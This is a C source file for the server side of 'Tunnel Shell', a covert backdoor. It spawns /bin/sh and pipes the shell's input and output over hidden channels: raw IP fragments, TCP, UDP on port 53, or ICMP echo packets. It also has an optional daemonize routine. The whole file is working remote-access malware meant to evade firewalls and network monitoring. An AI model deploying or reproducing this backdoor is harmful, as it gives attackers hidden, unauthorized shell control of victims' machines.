/*
 * tunneld: Server
 * by: Fryxar
 */

#include "common.h"

/* function prototypes */
void    usage(char *);
void    sig_handle(int);
int     go_daemon(void);
int     shell(void);
int     open_shell(void);
void    close_shell(int);

void usage(char *program) {
    fprintf(stderr, "Tunnel Shell v"VERSION"  (server)\n"
    "usage: %s [options]\n\n"
    "options:\n"
    " -h                        Display this screen\n"
    " -d <delay>                Set delay in sending packets\n"
    " -o <protocol>             Set protocol to use with type frag/ip tunnels (tcp|udp|...)\n"
    " -p <cli_port,srv_port>    Set ports to use with type tcp/udp tunnels (default: 80,2000)\n"
    " -m <cli_req,srv_req>      Set packet to use with icmp tunnels (default: echo,reply)\n"
    " -i <id>                   Set session id (range: 0-65535)\n"
    " -t <type>                 Set tunnel type (frag|ip|tcp|udp|icmp)\n"
    " -s <packetsize>           Set data size\n"
    " -a                        Using ppp interface\n"
    "\ndefault:\n"
    "%s -i 1000 -t frag -o tcp -p 512 -d 0\n"
    "\n", program, program);

    exit(-1);
}

void sig_handle(int empty) {
    return;
}

int go_daemon(void) {
pid_t   pid;
int     fd;

    if((pid = fork()) < 0) 
	    ERROR("fork")

    else if(pid != 0)
        exit(0);

    setsid();
    chdir("/");
    umask(0);

    if((fd = open("/dev/null", O_WRONLY, 0)) == -1) 
	 	ERROR("open /dev/null")

    dup2(fd, STDIN_FILENO);
    dup2(fd, STDOUT_FILENO);
    dup2(fd, STDERR_FILENO);
    
    close(fd);

return 0;
} 

int open_shell(void) {
int i, fds[2];
pid_t pid;

    if(socketpair(AF_LOCAL, SOCK_STREAM, 0, fds) == -1)
		ERROR("pipe");

    if((pid = fork()) < 0) ERROR("fork")
    else if(pid == 0) {
        close(fds[1]);
        if(fds[0] != STDIN_FILENO) {
            dup2(fds[0], STDIN_FILENO);
            close(fds[0]);
        }
        dup2(STDIN_FILENO, STDOUT_FILENO);
        dup2(STDOUT_FILENO, STDERR_FILENO);
      
        execl("/bin/sh", "sh", "-c", "/bin/sh", NULL);
        _exit(127);
    }

    close(fds[0]);

return(fds[1]);
}

void close_shell(int fd) {
int stat;
pid_t pid;   

    close(fd);
  
    while(waitpid(pid, &stat, 0) == -1)
        if(errno != EINTR) ERROR("waitpid");
}

int main(int argc, char *argv[]) {
int                     length, c, sock_send, sock_recv, fd_shell;
char                    *ch;
struct pollfd           sockets[2];
struct sockaddr_in      daddr, saddr;
struct protoent         *protoent;
struct struct_conf      conf;
unsigned char           buffer[MAX_PACKET];
int                     (*open_tunnel_send)();
int                     (*open_tunnel_recv)();
void                    (*send_tunnel)(int, unsigned char *, int, struct sockaddr_in, struct sockaddr_in, struct struct_conf);
int                     (*recv_tunnel)(int, unsigned char *, struct sockaddr_in *, struct sockaddr_in *, struct struct_conf);

/* Set defaults */
	conf.id =                   1000;
	conf.delay =                0;
	conf.packetsize =           512;
	conf.ethhdrlen =            sizeof(struct ethhdr);
	conf.protocol = 			    IPPROTO_TCP;
   open_tunnel_send =          &frag_open_tunnel_send;
   open_tunnel_recv =          &frag_open_tunnel_recv;
   send_tunnel =               &frag_send_tunnel;
   recv_tunnel =               &frag_recv_tunnel;


    while((c = getopt(argc, argv, "d:ahi:t:p:s:m:o:")) != -1) {
        switch(c) {
        case 'h':          /* help */
            usage(argv[0]);
            break;

        case 'i':          /* Id */
            if(strlen(optarg) == 0) usage(argv[0]);
            conf.id =              atoi(optarg);
            break;

        case 'd':          /* Delay */
            if(strlen(optarg) == 0) usage(argv[0]);
            conf.delay =           atoi(optarg);
            break;
 
         case 'o':         /* Protocol to use */
            if((protoent=getprotobyname(optarg)) == NULL) usage(argv[0]);
            conf.protocol =        protoent->p_proto;
            break;

        case 'p':          /* Select ports to use */
            if((ch=token(optarg, ',')) == NULL) usage(argv[0]);
            *ch=0; conf.sport = atoi(optarg); conf.dport = atoi(ch+1);
            break;

        case 't':          /* Type of tunnel */
		  		if(!strncmp(optarg, "frag", 5)) { 
					open_tunnel_send =  &frag_open_tunnel_send;
					open_tunnel_recv =  &frag_open_tunnel_recv;
					send_tunnel =       &frag_send_tunnel;
					recv_tunnel =       &frag_recv_tunnel;
				}
		  		if(!strncmp(optarg, "ip", 3)) { 
					open_tunnel_send =  &ip_open_tunnel_send;
					open_tunnel_recv =  &ip_open_tunnel_recv;
					send_tunnel =       &ip_send_tunnel;
					recv_tunnel =       &ip_recv_tunnel;
				}
		  		else if(!strncmp(optarg, "tcp", 4)) {
					open_tunnel_send =  &tcp_open_tunnel_send;
					open_tunnel_recv =  &tcp_open_tunnel_recv;
					send_tunnel =       &tcp_send_tunnel;
					recv_tunnel =       &tcp_recv_tunnel;
   				conf.dport =        2000;
				   conf.sport =        80;
				}
		  		else if(!strncmp(optarg, "udp", 4)) {
					open_tunnel_send =  &udp_open_tunnel_send;
					open_tunnel_recv =  &udp_open_tunnel_recv;
					send_tunnel =       &udp_send_tunnel;
					recv_tunnel =       &udp_recv_tunnel;
   				conf.dport =        2000;
				   conf.sport =        53;
				}
            else if(!strncmp(optarg, "icmp", 5)) {
               open_tunnel_send =  &icmp_open_tunnel_send;
               open_tunnel_recv =  &icmp_open_tunnel_recv;
               send_tunnel =       &icmp_send_tunnel;
               recv_tunnel =       &icmp_recv_tunnel;
               conf.dport =        ICMP_ECHO;
               conf.sport =        ICMP_ECHOREPLY;
               conf.mark =         MARK_SRV;
            }
				else usage(argv[0]);
            break;

        case 'm':
            if((ch=token(optarg, ',')) == NULL) usage(argv[0]);
            if(!memcmp(optarg, "echo", 4)) conf.dport = ICMP_ECHO;
              else if(!memcmp(optarg, "reply", 5)) conf.dport = ICMP_ECHOREPLY;
              else usage(argv[0]);
            *(ch++) = 0;
            if(!memcmp(ch, "echo", 4)) conf.sport = ICMP_ECHO;
              else if(!memcmp(ch, "reply", 5)) conf.sport = ICMP_ECHOREPLY;
              else usage(argv[0]);
        break;

        case 's':           /* Packet size */
            conf.packetsize = atoi(optarg);
            break;

        case 'a':           /* PPP interface? */
            conf.ethhdrlen = 0;
            break;

        default:
				usage(argv[0]);
				break;
        }
    }

/*   go_daemon(); */

	daddr.sin_family = AF_INET;
	memset(&(daddr.sin_zero), 0, 8);

	sock_send = open_tunnel_send();
	sock_recv = open_tunnel_recv();

	signal(SIGPIPE, sig_handle);
	fd_shell = open_shell();

	sockets[0].fd = fd_shell;
	sockets[0].events = POLLIN|POLLPRI;
	sockets[1].fd = sock_recv;
	sockets[1].events = POLLIN|POLLPRI;

	while(1) {
		if(poll(sockets, 2, -1) < 0)
			ERROR("poll");

		if((sockets[0].revents & POLLHUP ) || (sockets[0].revents & POLLERR ) ||
			(sockets[0].revents & POLLNVAL) || (sockets[1].revents & POLLHUP ) ||
			(sockets[1].revents & POLLERR ) || (sockets[1].revents & POLLNVAL)) 
				ERROR("poll error");

		/* Is there any information from shell? */
		if(FD_EVENT(sockets[0])) {
			if((length=read(fd_shell, buffer, conf.packetsize)) <= 0) ERROR("read sh");
			sleep(conf.delay);
			send_tunnel(sock_send, buffer, length, saddr, daddr, conf);
		}

		/* Is there any information from tunnel? */
		if(FD_EVENT(sockets[1])) {
			if((length = recv_tunnel(sock_recv, buffer, &daddr, &saddr, conf))) {
				if(write(fd_shell, buffer, length) != length) ERROR("write");
         }
		}

	}

	close_shell(fd_shell);
	close(sock_send);
	close(sock_recv);

exit(0);
}
